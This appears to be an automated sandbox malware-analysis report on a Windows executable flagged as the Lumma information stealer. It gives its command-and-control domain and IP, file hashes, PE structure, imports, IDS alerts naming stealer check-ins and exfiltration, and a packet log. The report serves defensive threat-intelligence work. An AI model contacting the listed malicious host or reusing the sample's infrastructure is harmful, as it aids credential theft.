https://support.microsof	file.exe, 00000002.00000003.1749111878.0000000005365000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000002.00000003.1795461252.00000000052F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000002.00000003.1749238502.00000000052F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000002.00000003.1796826342.00000000053EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000002.00000003.1748738580.000000000530B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1748807484.0000000005309000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000002.00000003.1819472379.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1818772124.00000000052C8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.161.207	push-hook.cyou	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561844
Start date and time:	2024-11-24 13:27:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 67% Number of executed functions: 26 Number of non-executed functions: 66
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.161.207	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	Stolen Images Evidence.js	Get hash	malicious	Unknown	Browse	mabiorex.space/333g100/index.php
	Stolen Images Evidence.js	Get hash	malicious	Unknown	Browse	mabiorex.space/333g100/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
push-hook.cyou	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	172.66.0.227
	mDHwap5GlV.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.74.152
	2aiDfP0r7h.lnk	Get hash	malicious	Unknown	Browse	104.16.230.132
	OVtsE8ZkBE.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	zapret.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.207
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.161.207
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	172.67.161.207
	mDHwap5GlV.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.207
	file.exe	Get hash	malicious	Unknown	Browse	172.67.161.207
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.207
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.161.207
	IaslcsMo.txt.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.161.207
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.207

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.691993266523074
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	513'536 bytes
MD5:	7dc51c5014010a56bd8a33d256831a30
SHA1:	a53650f246ad15a2091b55e59b0a054a9bbcfb8b
SHA256:	49118fb0d2560d592dcad173d9ecd9b50b0c2fe1bcd3f6e39f841e1a00470852
SHA512:	92aa662d5047d965ca93ed7f22aab9d16e47cf1d7a0b9f593c43aea2cccc94e8bb697808ff9fbfd6010cc02b7cd2c15395a4218b5e3c234a2ce3b0124998ddd6
SSDEEP:	12288:MuYPABqG93bG2zYH13IgLmfJ/+czMnKLESaK1g1Z:dYPABNLGTV33I+czvFaT1Z
TLSH:	74B4E02AB5A3A0A3F5932C354194AA75851FBF350F22A5FB57201B786F3B5D2C132B43
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ag.................h........................@..........................0............@.................................T...<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x41a890
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6741DAB7 [Sat Nov 23 13:37:59 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	887797384d81c493a9d8ee55dad3b2e1

Entrypoint Preview

Instruction
call 00007F5D0481602Ah
jmp 00007F5D04815E8Dh
mov ecx, dword ptr [004305F0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F5D04816026h
test esi, ecx
jne 00007F5D04816048h
call 00007F5D04816051h
mov ecx, eax
cmp ecx, edi
jne 00007F5D04816029h
mov ecx, BB40E64Fh
jmp 00007F5D04816030h
test esi, ecx
jne 00007F5D0481602Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [004305F0h], ecx
not ecx
pop edi
mov dword ptr [004305ECh], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [0042E46Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0042E430h]
xor dword ptr [ebp-04h], eax
call dword ptr [0042E42Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0042E4A8h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00431970h
call dword ptr [0042E488h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e254	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x34000	0x143c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x287c0	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e3c8	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x266ba	0x26800	9fc12b2919d7993b7875b406673b0c41	False	0.5423155945616883	data	6.676506145316532	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0x7264	0x7400	662c29d34464011348a2d81d315c214b	False	0.40833782327586204	data	4.811823385654876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x30000	0x2068	0x1000	51c3c578bc7da757e8ebeb0ea4aceef9	False	0.484619140625	OpenPGP Secret Key	5.084546541546572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x33000	0x8	0x200	64e01fde7e0180fcba7fdb172e6bbca6	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x34000	0x143c	0x1600	a55fdfa9c914f00e7079e3187805e326	False	0.7510653409090909	data	6.285750152953626	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.coS	0x36000	0x4cc00	0x4cc00	6290a165a90da79884f6db5fc3416ad6	False	1.000337184446254	data	7.999418311050769	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileA, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WaitForSingleObjectEx, WideCharToMultiByte, WriteConsoleW, WriteFile

GDI32.dll

CreateEllipticRgn

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T13:28:26.947808+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	172.67.161.207	443	TCP
2024-11-24T13:28:28.391969+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	172.67.161.207	443	TCP
2024-11-24T13:28:28.391969+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	172.67.161.207	443	TCP
2024-11-24T13:28:29.679577+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.161.207	443	TCP
2024-11-24T13:28:30.377505+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	172.67.161.207	443	TCP
2024-11-24T13:28:30.377505+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.161.207	443	TCP
2024-11-24T13:28:31.967163+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	172.67.161.207	443	TCP
2024-11-24T13:28:34.333964+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.161.207	443	TCP
2024-11-24T13:28:36.718837+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.161.207	443	TCP
2024-11-24T13:28:39.545095+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.161.207	443	TCP
2024-11-24T13:28:40.250640+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	172.67.161.207	443	TCP
2024-11-24T13:28:42.319305+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	172.67.161.207	443	TCP
2024-11-24T13:28:48.318465+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	172.67.161.207	443	TCP
2024-11-24T13:28:49.042986+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49741	172.67.161.207	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 13:28:25.707968950 CET	49730	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:25.707990885 CET	443	49730	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:25.708168983 CET	49730	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:25.711374998 CET	49730	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:25.711390018 CET	443	49730	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:26.947737932 CET	443	49730	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:26.947808027 CET	49730	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:27.090934992 CET	49730	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:27.090946913 CET	443	49730	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:27.091254950 CET	443	49730	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:27.155019045 CET	49730	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:27.562056065 CET	49730	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:27.562092066 CET	49730	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:27.562169075 CET	443	49730	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:28.391997099 CET	443	49730	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:28.392111063 CET	443	49730	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:28.392184973 CET	49730	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:28.394568920 CET	49730	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:28.394579887 CET	443	49730	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:28.441118002 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:28.441221952 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:28.441329002 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:28.441623926 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:28.441656113 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:29.679464102 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:29.679577112 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:29.687242031 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:29.687263966 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:29.687577009 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:29.688807011 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:29.688844919 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:29.688895941 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.377530098 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.377580881 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.377616882 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.377640009 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.377650023 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.377662897 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.377696037 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.377717018 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.377763987 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.377787113 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.386003971 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.386064053 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.386081934 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.402859926 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.402914047 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.402935982 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.451906919 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.497250080 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.545665979 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.545711994 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.577797890 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.577846050 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.577871084 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.577894926 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.577951908 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.578020096 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.578054905 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.578083038 CET	49731	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.578097105 CET	443	49731	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.667752028 CET	49732	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.667838097 CET	443	49732	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:30.667923927 CET	49732	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.668325901 CET	49732	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:30.668364048 CET	443	49732	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:31.966943026 CET	443	49732	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:31.967163086 CET	49732	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:31.968548059 CET	49732	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:31.968580961 CET	443	49732	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:31.968830109 CET	443	49732	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:31.970065117 CET	49732	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:31.970254898 CET	49732	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:31.970303059 CET	443	49732	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:31.970386028 CET	49732	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:31.970400095 CET	443	49732	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:33.019207001 CET	443	49732	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:33.019300938 CET	443	49732	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:33.019365072 CET	49732	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:33.019567966 CET	49732	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:33.019610882 CET	443	49732	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:33.096831083 CET	49733	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:33.096931934 CET	443	49733	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:33.097026110 CET	49733	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:33.097347021 CET	49733	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:33.097381115 CET	443	49733	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:34.333877087 CET	443	49733	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:34.333964109 CET	49733	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:34.335335016 CET	49733	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:34.335367918 CET	443	49733	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:34.335607052 CET	443	49733	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:34.336690903 CET	49733	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:34.336795092 CET	49733	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:34.336833954 CET	443	49733	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:35.229486942 CET	443	49733	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:35.229600906 CET	443	49733	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:35.229717970 CET	49733	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:35.230057001 CET	49733	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:35.230101109 CET	443	49733	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:35.444794893 CET	49734	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:35.444880962 CET	443	49734	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:35.444967985 CET	49734	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:35.445318937 CET	49734	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:35.445353031 CET	443	49734	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:36.718710899 CET	443	49734	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:36.718837023 CET	49734	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:36.720297098 CET	49734	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:36.720347881 CET	443	49734	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:36.720599890 CET	443	49734	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:36.721820116 CET	49734	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:36.721975088 CET	49734	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:36.722024918 CET	443	49734	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:36.722105026 CET	49734	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:36.722136974 CET	443	49734	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:37.603647947 CET	443	49734	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:37.603768110 CET	443	49734	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:37.603827953 CET	49734	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:37.604058027 CET	49734	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:37.604091883 CET	443	49734	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:38.266875982 CET	49735	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:38.266972065 CET	443	49735	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:38.267086983 CET	49735	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:38.267432928 CET	49735	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:38.267479897 CET	443	49735	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:39.544965982 CET	443	49735	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:39.545094967 CET	49735	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:39.546515942 CET	49735	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:39.546550035 CET	443	49735	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:39.546789885 CET	443	49735	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:39.548065901 CET	49735	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:39.548151016 CET	49735	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:39.548162937 CET	443	49735	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:40.250648975 CET	443	49735	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:40.250739098 CET	443	49735	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:40.250833988 CET	49735	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:40.262191057 CET	49735	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:40.262240887 CET	443	49735	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:40.976569891 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:40.976655960 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:40.976747990 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:40.977108955 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:40.977148056 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.319107056 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.319304943 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.320496082 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.320533991 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.320775986 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.336457014 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.337310076 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.337357044 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.338012934 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.338061094 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.338371992 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.338426113 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.338674068 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.338723898 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.338917971 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.338965893 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.339308023 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.339364052 CET	443	49736	172.67.161.207	192.168.2.4
